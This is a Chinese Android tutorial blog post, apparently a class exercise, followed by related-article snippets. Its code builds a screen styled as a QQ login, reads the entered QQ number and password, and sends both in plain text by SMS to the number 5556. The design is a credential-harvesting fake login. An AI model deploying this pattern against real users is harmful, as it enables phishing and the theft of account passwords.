Android之获取输入用户名与密码发送短信

打算不超过三天的时间我就要准备出发了,所以把之前的资料来个总结。

这都是在课堂上做过的作业。

好了,废话少说,直接上代码。

步骤:

1.设置单击事件
2.获取输入的QQ号码与密码
3.判断输入获取的内容是否为空,为空就给用户提示Toast提示,不为空就继续
4.使用短信管理器,是一个单例的类SmsManager.getDefault()来获取
5.发送QQ号码与密码

布局:

<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
        xmlns:tools="http://schemas.android.com/tools"
        android:layout_width="match_parent"
        android:layout_height="match_parent"
        android:gravity="center_horizontal"
        android:orientation="vertical"
        android:paddingBottom="@dimen/activity_vertical_margin"
        android:paddingLeft="@dimen/activity_horizontal_margin"
        android:paddingRight="@dimen/activity_horizontal_margin"
        android:paddingTop="@dimen/activity_vertical_margin"
        tools:context=".MainActivity" >

        <ImageView
            android:background="#09A3DC"
            android:layout_width="match_parent"
            android:layout_height="wrap_content"
            android:src="@drawable/qq" />

        <!--输入QQ号码  -->
        <EditText
            android:id="@+id/et_qqNumber"
            android:layout_width="match_parent"
            android:layout_height="wrap_content"
            android:layout_marginTop="20dp"
            android:hint="请输入qq号码:"
            android:inputType="numberSigned" />
        <!--输入QQ密码-->
        <EditText
            android:id="@+id/et_qqPassword"
            android:layout_width="match_parent"
            android:layout_height="wrap_content"
            android:layout_marginTop="20dp"
            android:hint="请输入qq密码:"
            android:inputType="textPassword" />

        <Button
               android:id="@+id/btn_login"
            android:layout_width="match_parent"
            android:layout_height="wrap_content"
            android:layout_marginTop="20dp"
            android:textColor="#ffffff"
            android:background="#09A3DC"
            android:text="登录"/>
    </LinearLayout>

Activity:

 public class MainActivity extends Activity {
         EditText et_qqNumber;
         EditText et_qqPassword;
         Button btn_login;
        @Override
        protected void onCreate(Bundle savedInstanceState) {
            super.onCreate(savedInstanceState);
            setContentView(R.layout.activity_main);
              et_qqNumber=(EditText) findViewById(R.id.et_qqNumber);
              et_qqPassword=(EditText) findViewById(R.id.et_qqPassword);
              btn_login=(Button) findViewById(R.id.btn_login);
              btn_login.setOnClickListener(new OnClickListener() {

                @Override
                public void onClick(View v) {
                    //2.获取输入的QQ号码与密码
                    String qq = et_qqNumber.getText().toString().trim();
                    String password = et_qqPassword.getText().toString().trim();
                     // 3.判断输入获取的内容是否为空,为空就给用户提示Toast提示,不为空就继续
                    if(TextUtils.isEmpty(qq)|| TextUtils.isEmpty(password)){
                        Toast.makeText(MainActivity.this, "QQ号码或者密码不能为空!", Toast.LENGTH_SHORT).show();
                        return ;
                    }
                    // 4.使用短信管理器,是一个单例的类SmsManager.getDefault()来获取
                    SmsManager manager = SmsManager.getDefault();
                    // 5.发送QQ号码与密码
                    String message="qq :"+qq+",pwd:"+password;

                    manager.sendTextMessage("5556", null, message, null, null);
                /*
                     * 分离短信
                    ArrayList<String> divideMessage = manager.divideMessage(message);
                    for (String str : divideMessage) {
                        manager.sendTextMessage("5556", null, str, null, null);
                    }*/
                }
            });
        }

    }
时间: 2024-10-07 00:24:32

Android之获取输入用户名与密码发送短信的相关文章

Android 读取手机联系人、拨号、发送短信及长按菜单的操作

本示例实现了读取手机联系人,拨号.发送短信及长按出现菜单选项的操作↓ 1.Andrid项目结构图↓主要操作图中红色方框内的文件. 2.首先布局代码如下↓ a, main.xml 程序运行的主界面,主要用ListView列表控件展示手机联系人 1 <?xml version="1.0" encoding="utf-8"?> 2 <LinearLayout xmlns:android="http://schemas.android.com/a

js 忘记密码发送短信记录cookie

<div class="forgetPwdBox" style="display:none"> <div class="forTit"> <p>忘记密码</p> <span id="closeBtn">x</span> </div> <div class="textPwd"> <div class=&quo

Android Adapter、Activity回传数据、发送短信

一.重写BaseAdapter的getView方法 1 @Override 2 public View getView(int position, View convertView, ViewGroup parent) { 3 View view; 4 if (convertView == null) { 5 view = View.inflate(getApplicationContext(), R.layout.item_phone, null); 6 } else { 7 view = c

【Android】Android 发送短信和打电话的方法

发送短信的方法 有两种方法可以实现发送短信,其一是使用intent-startActivity,URI数据格式为"smsto:num",调用的action为Intent.ACTION_SENDTO: Uri uri = Uri.parse("smsto:5554"); Intent it = new Intent(Intent.ACTION_SENDTO, uri); it.putExtra("sms_body", "你好.."

android 中调用接口发送短信

android中可以通过两种方式发送短信 第一:调用系统短信接口直接发送短信:主要代码如下: Java代码   //直接调用短信接口发短信 SmsManager smsManager = SmsManager.getDefault(); List<String> divideContents = smsManager.divideMessage(content); for (String text : divideContents) { smsManager.sendTextMessage(&

(二)发送短信

一.直接进入正题,效果图: 二.代码部分 1.strings.xml定义变量 <?xml version="1.0" encoding="utf-8"?> <resources> <string name="app_name">短息发送器</string> <string name="number">请输入手机号</string> <string n

Android——用户登陆及用户名和密码的保存

Android——用户登陆及用户名和密码的保存 在之前的学习过程中已经将Android学习完了,但是在后面将近一年的时间里都没有进行过Android开发,所以对Android的所有的知识点又有点忘记了,因此才会继续的学习Android,做出这个学习笔记.另外:由于在暑假的时候要开发Android项目,所以对于这些Android知识点也都要熟练的掌握. 目录 一.Android下的Junit测试 二.登陆记录密码界面设计 三.采用rom保存用户数据 一.Android下的Junit测试 在实际开发

设置Git不需要每次push都输入用户名和密码

正如苹果的设计理念中的一条--当你频繁地进行某项操作的时候,做这件事情就会变成一种机械的运动.删除邮件时出现的警告框是如此,git push时每次都需要输入用户名和密码也是如此.那么就可以通过如下的操作来避免每次都需要输入用户名和密码了(以windows为例). 第一步:生成RSA KEY 在用户文件夹下点右键运行Git Bush,运行如下命令: ssh-agent bash 然后通过以下命令生成RSA密钥: ssh-keygen -t rsa -C [email protected] 这样在<

Git Push 不用再次输入用户名和密码方法

前言 在大家使用github的过程中,一定会碰到这样一种情况,就是每次要push 和pull时总是要输入github的账号和密码,这样不仅浪费了大量的时间且降低了工作效率.在此背景下,本文在网上找了两种方法来避免这种状况,这些成果也是先人提出来的,在此只是做个总结. 1.方法一 1.1 创建文件存储GIT用户名和密码 在%HOME%目录中,一般为C:\users\Administrator,也可以是你自己创建的系统用户名目录,反正都在C:\users\中.文件名为.git-credentials